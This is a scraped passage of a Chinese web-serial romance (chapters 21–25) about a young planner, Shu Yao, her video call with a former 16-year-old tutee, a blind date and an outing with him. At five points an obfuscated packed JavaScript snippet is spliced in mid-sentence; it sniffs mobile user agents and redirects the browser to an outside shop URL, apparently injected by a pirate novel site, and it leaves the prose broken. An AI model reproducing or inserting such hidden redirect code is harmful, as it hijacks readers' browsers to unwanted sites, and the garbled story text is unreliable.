林娓娓换够了气,又跑过来躲在一旁磕小男生的颜值磕得直感叹,硬说这视频像是开了女友视角。 舒瑶笑着瞥了她一眼,见她不再那么闹腾,也就不赶她走开了。 直到屏幕稳定下来不再反光,看清视频里的女生,沈曜才再次露出笑容。 “新年快乐,舒瑶。”少年眸光剔透闪亮、唇红齿白,笑弯了眉眼。 21.笑意(二) 光线稍微弱下来,衬得少年略显丰润的下嘴唇红艳艳的。他嘴角挑起一个弧度,露出两排整齐洁白的牙齿。“新年快乐,舒瑶。” 他的笑容有点痞,却非常灿烂。 林娓娓已经完全把她的心上饼搁到一旁,小声在一旁说:“笑起来好帅好萌!” 她还是知道一点分寸的,没再把脑袋凑进视频里,但这不妨碍她躲在旁边围观。 舒瑶懒得理犯花痴的她,再说自己和沈曜也没什么见不得人的话题瑶聊,便任由娓娓在旁边明目张胆地看他俩聊天。 她想起刚才少年站起来换到书桌边的身影,对屏幕里的少年说:“几个月没见,你是不是又长高了?” 沈曜随手拨了拨额前掉落的几缕碎发。他应该是刚洗过澡,头发半干,带着丝丝缕缕的潮气。 “嗯。前几天去量了一下,181了。” 舒瑶夹着鲜肉馅儿的塌饼,咬了一大口,边吃边说:“按照你这长势,高中毕业至少得185了吧。” 沈曜彻底笑开了,朗朗笑声充满少年人的朝气,“差不多吧。预测下来大概185左右。” “185已经很高了好吧。正好正好,长太高了脑子容易跟不上,会变傻的。”舒瑶被他的笑容感染,和他嘻嘻哈哈开起了玩笑。 沈曜一只手搁在桌子上,斜斜地撑在腮边,“你多高?165、166?” 舒瑶对他翻了个骄傲的小白眼,“你这眼力不行啊。你姐姐我赤脚也有168.6。” “哟。那你在女生里也不矮啊。我看你也不傻啊?小算盘打得挺精的。”沈曜说了两句,就开始嘴欠没正形地调侃起舒瑶来。 “去去去。没大没小。唉,算了。你一直都这样。我也不说你了。”舒瑶嫌他嘴欠,但又觉得他这样很自然,于是转了话题,“你怎么过年一个人在家啊?不去……不去你爸那边?” 舒瑶小心翼翼地观察起他的脸色,生怕他又露出不耐烦或是阴沉的样子。 “昨天中午在那边吃了顿饭,后来去爷爷奶奶家了。今早刚回来。”沈曜的神情还算自然。 其实本来他是不想去的,可父亲亲自上门叫他去吃年夜饭,还说徐洛建议父子俩在过年放假期间去给沈曜的生母上香送花、烧点纸钱。徐洛如此提议,让他的心里得到了很大的慰藉,对她本能的排斥感降低了一些。 舒瑶见沈曜脸上没露出不悦的神情,不禁暗自舒了口气。 她不知道那些小插曲,只是想到经过上次那一吓,就算沈曜百般不情愿面,多少也收敛了。上次他爸生病,他和徐洛之间被迫破了冰,之后的来往应该不再那么艰难了。 这也算是这小孩和他爸那边让步了。对于沈曜那个冲动又顽固的脾气,还真是极为不易的转变。 没办法,在生老病死这些大事上,其他所有的都是小事,都得靠边站。 任性是只有无忧无虑的小孩子们才有的资格,因为有大人会无条件的宠着、溺爱着。 然而很显然,沈曜也明白以他现在的处境,已经不再有任性的资格了。母亲已亡故,父亲又有了新家庭分去了不少对他的关注和亲情,不会再有人对他无止境的溺爱了。 念及此,舒瑶的心里酸酸软软的,关心地问他:“那你中饭怎么解决?现在过年,外卖不好叫吧……” “我还不太饿,早上吃得挺多。昨天我爸给了我一些饺子,等饿了就自己煮一点吃吧。” “嗯。你年纪还小,后面高考很耗体力的。你要自己多保重身体。”舒瑶叮嘱他。毕竟是自己带了将近两年的学生,舒瑶已经拿他当弟弟看了。 听到这句,沈曜没嫌她啰嗦,反而连眉梢都染上浓浓的喜意,双眸中闪着灵动的光,“知道了。你呢?今天什么安排?最近有没有吃胖?” 舒瑶埋怨地瞪他一眼,“哎呀。你真是哪壶不开提哪壶。我这几天放假都胖了快四斤了。再胖下去要没脸见人了。” 沈曜放松地撑着下颌,呵呵笑了几声,直白地夸赞:“不会。胖点丰满。你很好看。” 舒瑶被他突然冒出的赞美噎了一下,很不习惯他这么和自己说话,狐疑地斜视他,“你是假的沈曜吧。居然会夸人?” 沈曜笑得眼睛又眯起来,“怎么?不习惯啊?那我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321244|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多夸夸,你听多了就习惯了。” 舒瑶无语,一副拿他没辙的样子。 沈曜继续说大实话,“你是不是烫过头发了?大波浪也很适合你,看着好温柔啊。” 舒瑶牙齿都快冒酸水了,有些受不了他今天这么反常,“停停停!你再夸我要起鸡皮疙瘩了。” 沈曜痞痞地扬着嘴角笑,乐得连头发丝都在颤。 这小子,钢铁直男没跑了。嘴毒时扎心,嘴甜时又能腻死人。她实在招架不住。 “嘿嘿嘿~”沈曜笑了一会儿,终于收了神通,正经起来,“对了,和你说个事。后天我和我爸去海城看我外公外婆。小胖子老师,你打不打算请我吃个便饭啊?” 嗯?这还真是个正事。 舒瑶放下夹着塌饼的筷子:“真的啊?那你来了我肯定得请客啊。” “那就这么定了。你留一天给我。带我去吃好吃的!”沈曜开心的像个小学生,眼里闪烁的光芒快比太阳更耀眼了。 舒妈妈的声音此时从厨房传来,“瑶瑶。准备吃午饭了。去拿点新碗筷出来。还有娓娓也一起坐啊。” 舒瑶转头应了一声,对沈曜说:“好了。我家要吃中饭了。你自己去玩儿吧。” 沈曜露出显而易见的遗憾,竟像小孩子一样鼓了鼓腮帮子,“好吧。那我就孤单地关视频了。” 舒瑶被他难得的萌样逗笑了,对他挥挥手,“乖。挂了。回见。” 视频关掉以后,舒瑶才发现林娓娓正用一种幽怨的奇怪眼神注视自己。 舒瑶冷不丁的被她那怪模样吓了一跳,拍了一下她的胳膊,“哇……你那是什么眼神!” 林娓娓哀哀戚戚地揪着她的袖子,“这男生真的只有十六岁?真的只是你以前带过的学生?” 舒瑶受不了她小媳妇儿似的样子,弹了一下她的脑门儿,“废话。去年十一月过的16岁生日。如假包换。” 林娓娓不信,“你俩这种交流方式也太自然了吧。感觉你们的话一句接一句,都不带停的。如果阿姨不叫你,你得和他煲上两小时的电话粥吧?我觉得你们不太对劲啊~~” 22.相约 “收起你语气里的波浪线!”舒瑶嫌弃她脑补太多,又疑惑道:“哪里不对劲了?我们一直都是这么说话的啊。就纯闲聊。” 林娓娓思想斗争了一番,想起那男生还未成年,决定收敛一下自己那些花花心思,说得委婉点,“你俩说话怎么像是平辈。他既不喊你老师,也不叫你姐姐。” 舒瑶歪了歪头,回忆道:“我从第一次给他上课开始,他就只喊我的名字啊。你别大惊小怪。” 林娓娓似乎有所感悟,“唔。不过看他这个面相,也不像是个会循规蹈矩的孩子。一看就很桀骜不驯。”她拍了拍舒瑶的肩,感慨:“难为你脾气好,能搞定这么难搞的学生。这小男生,主意大着呢。狼狗中的狼狗,一般人驾驭不了。” 林娓娓的家族在易学和传统学方面的造诣颇深,对周易、面相、堪舆等传统文化世代相传。所以她说的话,舒瑶是认可的。 舒瑶颇为赞同,“是吧。我第一次登门,就被他弄伤脚进了医院。疼了我一个礼拜。” 林娓娓捧着脸,一副崇拜的表情望着亲闺蜜,“不过现在好了。你没看到吗?他和你视频的时候眼神都是甜的啊。最后挂掉视频之前,竟然还和你撒娇哎。太萌了吧!他已经被你驯服了~~”说着,林娓娓的语气不知不觉又荡漾起来。 舒瑶被她这么一提,才后知后觉地发现,沈曜刚才的确在和自己撒娇。这孩子极少露出这种表情,他平时可不是肯轻易示弱或服软的男生。 面对这种春节限定款的沈曜,自己是不是该表示表示? 舒瑶想了想,摸出手机,给沈曜发了个红包过去。 [你瑶姐姐:拿去。压岁钱~不用谢。] 没成想红包下一秒就被退了回来。 [曜:等我去海城,你当面给我。] 舒瑶一想也对,当面给更有诚意。 林娓娓摇了摇舒瑶的胳膊,“好啦。别看手机了。我馋你家的菜了。” 舒瑶没好气地瞥了她一眼,伸出手戳了戳她肉肉的肚子,“走,摆碗筷,吃饭去。” 林娓娓禁不住痒,抖了抖,笑道:“不过他真的嘴好欠啊,欠的还怪可爱的。我看着都手痒,想敲他两下。” 舒瑶被她说的很有同感,狠狠点了点头,“可不。就是特别欠揍的那种。我以前一看见他就手痒痒,想拗他。” 林娓娓对沈曜依然忍不住好奇。不能怪她,沈曜长得是真的好,是她这辈子见过最帅的男生。 “对了。他是11月的生日?11月几号的啊?” “11月10号。” 林娓娓更夸张地感叹起来,“哇~天蝎座的极品小帅哥。霸道又深情的楷模啊。” “帮忙一起摆。”舒瑶从厨房拿了四副新碗筷出来,将筷子交给林娓娓。她知道林娓娓精通传统文化,但还不知道她对西方星座也有研究,“天蝎座怎么了?” “你不知道吗?天蝎座认准目标以后,不追到手决不罢休的,而且心思缜密、心机深沉。如果本人也不差的话,很少有人能逃出他们的手心。除非对方做了什么背德又伤他们真心的事,否则他们真的能情深似海的爱你一辈子耶~” “真的假的啊?世界上还有这类绝种极品?”舒瑶半信半疑,“我怎么就不信呢。” 林娓娓对她拍了拍胸脯,“嗯!你信我。一个天蝎座、一个摩羯座,出专一深情的帅哥的几率特别高。不过也得结合他们的月亮星座、金星和海王星的落宫以及相位来看。来看。哎呀,反正大方向没跑了。” “也不知道这小子以后便宜了谁家的丫头。”舒瑶老气横秋地笑道。她将碗一一摆好,拉着林娓娓坐在自己身旁,“行啦行啦。信你。快吃吧。” 林娓娓没动筷子,坐在桌边陪舒瑶等她的父母一起上桌,“我记得你是摩羯座?” 舒瑶斜了她一眼,“是哦。难为你记得。你又想干嘛?” “天蝎和摩羯还挺般配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337875|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。一个专一深情,一个目标明确、理性沉稳。”林娓娓小声嘀咕了一句。 舒瑶听不清,“你嘟囔什么呢??大点儿声。” “我就是单纯的在说星座属性。”林娓娓嘻嘻笑了两声,扬声对舒瑶的爸妈唤道:“叔叔阿姨,你们也来坐啊。” 舒爸爸和舒妈妈将东坡肉和红烧鱼这最后两道硬菜端上了桌,还拿了几瓶奶啤和果汁招待林娓娓。“你们说什么呢?说的这么开心。” 林娓娓等两位长辈坐下,开了瓶奶啤给舒爸爸倒了一杯,“说星座呢。叔叔阿姨要不要听?” “好啊。平时我们忙,难得见你,你说给我们听听。”舒妈妈很喜欢林娓娓活泼的性子,拿她当半个女儿看。 林娓娓一边吃得香,一边呱呱呱说个不停。嘴里吃着东西也完全没影响她的发挥,唬得舒瑶一家三口一愣一愣的。 有了她的加入,这顿愉快的中饭吃了两个多小时才结束。 吃过午饭,舒瑶一家晚上得去她爷爷奶奶家里一起吃团圆饭。林娓娓赖在沙发上,等着他们一家人一起出门。 舒瑶去房间里化妆换衣服去了,手机忘在了沙发旁的茶几上。 微信提示音“叮”了一下,林娓娓一手揉着肚子促进消化,一手拿起舒瑶的手机喊舒瑶: “瑶瑶。你手机有消息,又是那小孩儿发来的。” “你帮我看一下。我现在手上不方便。”舒瑶坐在房间里遥控指挥。 林娓娓输入她的锁屏密码,化身语音服务小秘书: “小帅哥约你后天中午一起吃饭~” “知道了。你帮我回他一下,就说好。到时候我订了餐厅把地址发给他。” 林娓娓回完消息,咂巴了一下嘴,想起一件事来。 “不对啊瑶瑶。我怎么记得你后天中午答应你上司,要去相亲来着?” 舒瑶的房间传来东西落地的声音,“啊!糟了!我把这茬给忘了!” 23.春风不解风情(一) 舒瑶没法推掉上司介绍的相亲。入职还不到一年的职场新人菜鸟,没这么做的勇气。 然而,沈曜也就那天有空出来吃饭。 思来想去找不到答案。 舒瑶在履行约定的前一晚,咬了咬牙,抱着把老脸丢掉的决心给沈曜发了个消息。 [你瑶姐姐:哭泣.jpg ] 沈曜很快回复了她。 [曜:卖萌无效。爽约不行。] 看见沈曜回复的消息,舒瑶的脑门冒出一滴汗。 这小子是有预知未来的能力吗?还是太过于聪明猜到了我想说的话? 舒瑶决定坦白从宽,和沈曜商量把中饭改成下午茶。 [你瑶姐姐:咱们约着喝下午茶行吗?中午我有约了。] [曜:约了谁?] [你瑶姐姐:政治任务。上司安排的相亲_(:з」∠)_ ] [曜:可是我先和你约好的。] [你瑶姐姐:不,是他先约的。你是后来想插队的那个。(苦笑.jpg) ] 这条消息发出之后,舒瑶看见沈曜的对话框上挂着“对方正在输入...”。 对方的输入时间有点长…… 舒瑶抱着手机闷闷地笑起来。她还挺好奇,想知道这素来骄傲的小子会怎么回复。 约莫一分钟后,对话框才跳出新的消息。 [曜:那我排队吧。你相你的亲,我在一旁等着就行。(叉腰大笑.jpg)] 这样……也行??? 舒瑶将圆圆的水亮杏仁眼眯了起来,像是一只看透对手套路的狸花猫。 这小男生看来是长大了,居然懂得怀柔战术了。 不容小觑。 - 相亲对象约见的地点是一家环境清幽的茶室。茶室之内,每个座位之间都隔有珠帘,雅致之余又让人觉得有种隐秘的安全感。 舒瑶比约定的时间早到了十五分钟。 被身着石青色立领改良中山装的服务生领入座位之后,她拿着菜单翻了一遍。双人下午茶168元到368元不等,内含一壶茶和两至四样点心。 按照海城中环以外的地段来说,消费算偏高的,但由于在春节期间,附近几家类似的场馆都歇业休息,因此来的客人并不少。 店面里的座位满座率达到了百分之七十以上。 服务员端来一杯温的柠檬水,杯沿上还插了一片薄荷叶,态度十分礼貌周到。 舒瑶先是欣赏了一下那片绿茸茸的薄荷叶,才端起水杯喝了一口。她眼睛在菜单列表的那套茉莉龙珠的套餐上流连了几秒,眼角余光倏地瞥见一抹熟悉的身影。 一个身穿五十铃蓝色短款羽绒服、深灰色牛仔裤的高个儿帅气男生风风火火地走进店里,视线在她脸上定了几秒,随后径直走到她右手旁的座位坐了下来。 少年真的很适合蓝色。无论是纯真的天蓝色,还是色彩饱和度更高一些的五十铃蓝色,他都能把它们穿得出挑时髦又不失清新。 当那一抹蓝色从排排深紫檀木色的卡座之间穿堂而过时,像是为典雅古朴的茶室带来了一缕春天的风。 四周围的几桌女生不约而同的将视线集中在那个男孩的脸上和身上,窃窃私语声瞬间响了好几个分贝。 舒瑶看清那男生走近,还没来得及咽下去的一口柠檬水差点喷出来。 这个显眼包可真是太显眼了! 几个月没见,他好像越来越帅了。舒瑶在心里感叹。 舒瑶向来知道少年长相俊美,但是他平时总穿校服,就不会特别凸显。此时的他穿着便服,颜色还那么鲜艳,衬得他的皮肤更白、五官越发立体精美,简直像是漫画里走出来的男主。 果然,只有浓颜系帅哥才能镇得住这种普通人一穿就会显得臃肿土气的短款亮色羽绒服。 舒瑶对他今天穿得这么显眼有点无语,摸出手机给他发了个消息。 [你瑶姐姐:少年。说好的低调呢?(默默看你装逼.jpg)] 对方很快回了消息。 [曜:这衣服是徐洛送的新年礼物,我爸非得让我穿。我只能穿了。] 竟然是继母送的…… 舒瑶一口气噎住,只好无奈地磨磨牙,默默地给他发了个“点赞”的表情包。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357176|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 行。少年,你赢了。 男生大概觉得能让她吃瘪很愉快,嘴角抑制不住地翘起,对她举了举手里拿出的东西。 舒瑶定睛一看,是一份英语练习卷:“……” [曜:你安心相你的亲。我有事可以做。] 舒瑶勉强对他挤出一个笑容,在心里写了个加粗的“佩服”,又低下头去看菜单。 没过几分钟,约好的男士就到了。座位是他提前预订的。那位先生走到舒瑶所在的座位旁,对她礼貌地打了声招呼,“请问是舒小姐吗?” 舒瑶知道他姓薛,见他从店门口风度翩翩地走来,起身迎他入座,“是。您是薛俊棠薛先生吧?” “是。请坐。”薛俊棠微微弯腰,用手指了指座位示意她坐下。 薛俊棠相貌平平,但胜在通身气质优雅,一举手一投足无不透露出对方良好的教养。 舒瑶是第一次相亲,见对方礼貌又周到,心里稍微没那么别扭了。但见到陌生人的尴尬还是让她感到拘谨。 薛俊棠看出她的不自在,主动说道:“你点茶了吗?” 舒瑶摇了摇头,上身挺直略微前倾,显得有些紧张。 “你点吧。这家店我常来,茶单我早已记熟了,我也没什么忌口的。”薛俊棠将外套款款搭到卡座的靠背上,仪态从容,“我早饭吃的晚,就不吃中饭了。你点你的,不用管我。” “好。”舒瑶正好也不太饿,不想吃正餐。见对方举止得体,便也放松下来。“茉莉龙珠,你喝吗?” 薛俊棠点头说“好”,又对服务员招了一下手。那服务员很快就过来了。 舒瑶对服务员微笑道:“麻烦点一份茉莉龙珠双人下午茶套餐。”说着,她想起沈曜还没点喝的茶饮和吃食,下意识朝那边扫了一眼。 没想到沈曜旁边也站了一位服务员,只听他利落地说:“一杯茉莉龙珠。谢谢。” 舒瑶极轻地舒了口气,彻底安心下来。 服务员走开。薛俊棠垂眸看了一眼桌面,像是在整理某种情绪。 舒瑶见他神情严肃,似乎有重要的话想说,便耐心等着他先开口。 24.春风不解风情(二) 果不其然,没过片刻,薛俊棠就开口了,他很抱歉地说道:“对不起,舒小姐,今天其实是家里人非要我来的。并不是出于我的本意。” 舒瑶闻言,摆了摆手,“没关系。” 薛俊棠又说:“我……不是对你不满意。你很好,很漂亮,也很有气质。只是,我不喜欢女人。希望没有引起你的不适。” 舒瑶惊讶地望向他,对他的坦诚十分欣赏。 舒瑶的工作需要经常和广告商、媒体打交道,或许是因为行业本身比较开放的关系,对此类常见事情他们都已见惯不怪。 在薛俊棠的主动引导下,两人谈得非常愉快。薛俊棠在一家大型外资银行工作,年轻有为、风趣健谈。 舒瑶觉得今天这个相亲没白来,将自己的名片递给他,还和他说以后如果要办活动,可以找她。 薛俊棠双手接过名片,放进了上衣的口袋里。 他们这桌聊得欢畅。沈曜那桌也没闲着。 来找他搭话的人一茬接着一茬,男女长幼都有。 “小帅哥,一个人啊?” “对不起大姐,我在等我女朋友。” “帅哥哥,去电玩城吗?” “对不起小妹妹,我姐知道了会打我的。” “帅哥,要不要去试镜拍广告?” “不好意思,我还未成年。” 沈曜本来陪在舒瑶旁边围观她相亲现场,心情很不错,脸上的神情一直都夹带着微微笑意。 可惜随着等待的时间越长,麻烦越多。 他被一波波来搭讪的人弄得不胜其烦,索性扔了笔,环抱起双臂,露出又烦又拽的表情斜着眼瞪人。效果当真显著。 那些搭讪者有不少都被他镇住了,只敢蠢蠢欲动,不敢再上前找他说话了。 舒瑶频频侧目,憋笑憋得腹肌都快隐隐作痛了。 她忍不住替沈曜感到闹心。估计那份试卷,今天他是做不完了。 看来长得太帅,也未必是件好事。 薛俊棠看出她与隔壁的男生眼神交流频繁,明显是熟人,于是出言调侃她,“隔壁那小哥长得真是帅,瞧着令人惊艳。但我发现,他总是会偷偷看你?” 舒瑶对他抱歉地笑了笑,心虚道:“我家弟弟不放心我一个人来。” 薛俊棠笑着点了点头,感慨:“一家人都是女娲的杰作。” - 下午一点半,相亲结束。薛俊棠要去城郊拜访朋友,先行离开一步。 沈曜收起试卷,走到舒瑶身边,颇为心累地撩了一把额前的刘海,“走吧。你总算是结束了。你们可真能说,对彼此没感觉还说那么久。” 他觉得自己今天的耐心又得到了升华。 舒瑶拿出镜子看了看自己的妆容,摸出唇膏补妆,“我们做策划这行的,就是要人脉广才有客源。再说我挺欣赏他坦诚的君子之风,可以交个朋友。” 舒瑶居然对这个男人印象不错? 沈曜挑了挑眉毛,当他在舒瑶对面坐定,才有机会将她看清楚。 大概是正逢春节这个传统节日的关系,舒瑶今天穿了一条斜襟的长款墨山旗袍。朵朵白色的梨花盛放在黛蓝色的旗袍上,将她衬得温婉又端庄。 这条旗袍开叉不算高,只到膝盖往上五公分处。因为是坐着,叉口又往上沿了两寸。舒瑶修长匀称的大腿被叉口露出来一点,又被旗袍的侧边若隐若现地盖住,极显风韵。 沈曜的目光一扫而过,不小心被惹了个面红耳赤。幸亏对面的女人正在盯着镜子检查妆容,才不至于被她发现。 舒瑶收起化妆镜,见沈曜低垂着头有点心事重重的样子,突然想起他一直在等自己,只喝了茶水还没吃饭,心里很是过意不去。 “哎呀!你还没吃饭呢。”舒瑶看了眼面前的点心,将那盘几乎没动的乌龙茶酥推给他,“先吃两块垫垫。等会儿姐姐带你去买好吃的。” 沈曜摇摇头,搓了一把脸,“你知道的,我不喜欢吃甜点。” “这个不甜。我刚才尝了一小块,特意给你留下的。你尝尝。”舒瑶将那盘点心推过去给他。 沈曜这会儿真的有些饿了,听她这么说,便伸手拿了一块扔到嘴里。 长方形的点心被做得酥脆,放入口中很快就融化了。 浓浓的乌龙茶香溢满整个口腔,舌尖品到的却是略微苦涩的味道。整块吞下后,又会从喉间泛起回甘,一点点地回旋徘徊在嘴里。 “唔!好吃!”沈曜讶然睁大眼睛,那双眸色偏浅的瞳仁闪着熠熠的光。原来南方的点心也可以这么合他的口味。 “对吧。”舒瑶笑得有几分得意,“我们海城的特色点心很多。不全是甜腻腻的,各种口味都有。以后带你去专门的点心房挨个儿尝尝。还有那个国际饭店楼下卖的蝴蝶酥,好多人慕名而来。人多的时候,光排队就要排一个多小时。而且到下午四、五点就卖光了。” 沈曜愉快地点点头,没过一会儿就将其余6块乌龙茶酥都消灭了。 “看来是真饿了啊。慢点吃,别噎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368889|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”舒瑶见他一口一个,苦笑道。她抬头看向服务员,想问他们再要一杯柠檬水。 沈曜瞧出她的意图,一把拉住她举到一半的手,“不用那么麻烦。我喝你的。” 舒瑶面前的柠檬水几乎没动,她只有刚来的时候,抿过一小口。沈曜拿起来凑到嘴边,“咕咚咚”灌下去两口,水杯就见底了。 舒瑶瞪圆眼睛。这个年纪的男生喝水果然都是牛饮…… “走吧。去买点顶饿的。”沈曜拿起外套,没几秒就穿上了。在这儿坐了近两小时,他真有些坐不住了。 舒瑶将身旁的白色羊绒厚外套披在肩上,又把被外套压住的长发撩了出来,“附近有家好吃的餐厅,你这么急,我们就去那家吧。” 沈曜没说去、也没说不去,只是跟在她身后。 有一缕长发没被舒瑶撩出来,还压在外套里。沈曜看了一眼,眼神暗了暗,伸出手将那缕发丝轻轻拨了出来。 长发从他的掌心滑过。入手微凉丝滑,像是上好的绸缎。他盯着自己的手看了几秒,又迅速地放下了。 舒瑶感觉到脖颈间滑过的头发,回头笑看沈曜一眼,“谢谢啊。” 沈曜凝视她的眼睛,目光闪了闪,摇摇头。 出了茶室,室外的冷空气迎面袭来。舒瑶虽然穿着旗袍,但好在料子厚实,她还穿了保暖打底袜,所以并不觉得冷。 海城的冬天比川城的冬天冷,她反倒是更担心沈曜吃不消海城的冬季。 舒瑶发现少年的耳朵尖红红的,“你耳朵冷吗?都冻红了。” “不冷。我不太怕冷。”沈曜不自在地挠挠耳朵尖,神色有些局促,“我不想吃正餐。这两天总是鱼啊肉啊的,吃腻了。” “你不饿吗?”舒瑶纳闷,看了眼手机,“快两点了。那要么回去?我给你叫辆车?” 沈曜不乐意了,两道剑眉蹙起,“怎么?想耍赖啊?你的家宴不是晚上六点半才开始吗?” 舒瑶被他弄得有点糊涂,“你不是不想吃饭吗?” “吃饭多没新意。我们去看电影呗?我听我爸说这附近有家4D影院很豪华。想去体验一下。”沈曜用期待的眼神望着舒瑶。 一部电影约莫两小时左右,电影院里也有卖各种小吃,足够填饱肚子。 舒瑶犹豫了几秒,应道:“也行。走吧。你是客人你最大。我请你看电影去。” “好!”少年终于开心起来,笑意直达眼底。 一阵东风调皮地吹过,将他的发丝撩拨得乱了。 25.春风不解风情(三) 春节期间的电影院比以往的双休日人更多。拖家带口出来看电影的不在少数。 影院门口摆放着两个巨型的人物雕塑——绿巨人和蜘蛛侠,做得惟妙惟肖,栩栩如生。 有不少小朋友被他们吸引,拉着家长去拍照。 幸亏4D放映厅的票价贵,高价格限制了客流量,舒瑶拼着手速抢到了两张票。 影片是沈曜挑选的,外国经典漫威大片,三点一刻正式开场。 时间尚余四十多分钟,舒瑶陪沈曜去小吃贩售区挑选零食。 沈曜买了一份牛肉汉堡套餐,和舒瑶坐在影院外的等候区,没到十分钟就解决了。 舒瑶再次对他吃东西的速度感到惊讶,刷手机的手都停了,“你吃这么快干嘛?离电影开场还早着呢。” 沈曜觉得好笑,拿纸巾把嘴擦干净,“吃个汉堡而已,不就是两、三口就能解决的事?” 舒瑶服气了。 沈曜拿起可乐,优哉游哉咬着吸管慢慢喝。 舒瑶从自己的手提包里取出一个红包递给他,“喏~说好给你的压岁钱,不用谢。” 沈曜也不矫情,拿起红包打开看了眼,五百块。 舒瑶微微一笑:“不多,一个心意,别嫌弃。” “不会。谢了。”沈曜很高兴,大大方方地将它塞到羽绒服的口袋里。 影院隔壁是一家饰品店,推销广播里一直播放着部分商品五折的宣传广告。 从舒瑶的角度看过去,恰好看见滚动广告栏里的一对耳饰。 舒瑶不喜欢戴手链和戒指,因为洗手或者洗碗的时候很容易弄湿。她更偏爱项链和耳饰。 舒瑶的心里痒痒的,她想去那家店看看。于是对沈曜说:“离电影开始还有20多分钟。你在这儿坐一会儿,我去隔壁逛一下?” “隔壁?”沈曜放下可乐,转身望去,“饰品店?” 舒瑶推开椅子站起来,“对啊。你们男生肯定觉得无聊。你就在这儿呆着打打游戏。我去去就来。” “我一个人在这儿岂不是更无聊。”沈曜拿着剩下的一点可乐一口闷光,也站起来。“反正也没事,陪你去逛逛吧。走。” 有人陪着当然好,舒瑶心情很好,与沈曜一起走进了那家饰品店。 这家饰品店新开不久,店面的背景色以浅粉色为主。 所有的饰品都是925纯银制的,以各色水晶镶嵌,价格在两百至八百元之间,一看就是以定位年轻女性为主要消费群体的店铺。 舒瑶想要买条项链,径直走到店面卖项链的那排专柜去看款式。 服务员见舒瑶长得漂亮、打扮也讲究,身后还跟了个极为抢眼的小帅哥,立马展开最灿烂的职业笑容凑到他们两人身边,热情地介绍起来。 “美女,想买什么?我们店铺新开张,春节期间大酬宾哦。” 舒瑶微笑道:“随便看看。” 服务员毫不气馁,“再过几天就是情人节了。您要不要看一下我们的情人节主题专柜?全是主打的最新款。” “最新款”三个字吸引了舒瑶,她点点头,顺着服务员的指引走过去。 服务员将两人引到店面的中心区域,很骄傲地介绍道:“看!这边就是我们的莫比乌斯环系列。” 莫比乌斯环?这不是英国数学家开先例用的一个表示“无穷大”的符号吗? 沈曜被勾起了好奇心,站到舒瑶身旁饶有兴致地瞧那些饰品。 主打系列果然占位抢眼。柜面旁边有个等人高的宣传立牌,上面印出了莫比乌斯环的项链、手链、戒指和一对耳饰,在一片茫茫星空的背景衬托下闪亮璀璨,发出耀眼光彩。 上面的广告语更是写的动人心弦: ——不论从哪里开始,都可以与你重新相遇。 舒瑶是做策划的,对于这些产品宣传立牌和文案尤其上心。 这句广告语写得这么深情款款,的确非常适合作为情人节主打产品的宣传文案。 “你们这个系列就叫‘莫比乌斯环’吗?很多人不了解它的含义吧?这不利于记忆呀。”舒瑶好奇地问那个服务员。 服务员笑着说明:“当然不是。这个主题叫‘无尽的爱’,象征世世轮回不休、生生不息的爱恋。”说完,指了指立牌最上方那四个渐变粉红色的大字。 产品拍得太闪耀,舒瑶全部注意力都被那些饰品吸引过去了,直到服务员指着那“无尽的爱”四个字,她才得知此系列的主题叫这名字。 “不错不错。看得我都心动了。”舒瑶盯着那条莫比乌斯环的项链,见它造型简约、但周围还镶着几颗水晶,大方又精致。“我喜欢这条项链,你帮我包起来吧。对了,它有折扣吗?” “好的。美女稍等。我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 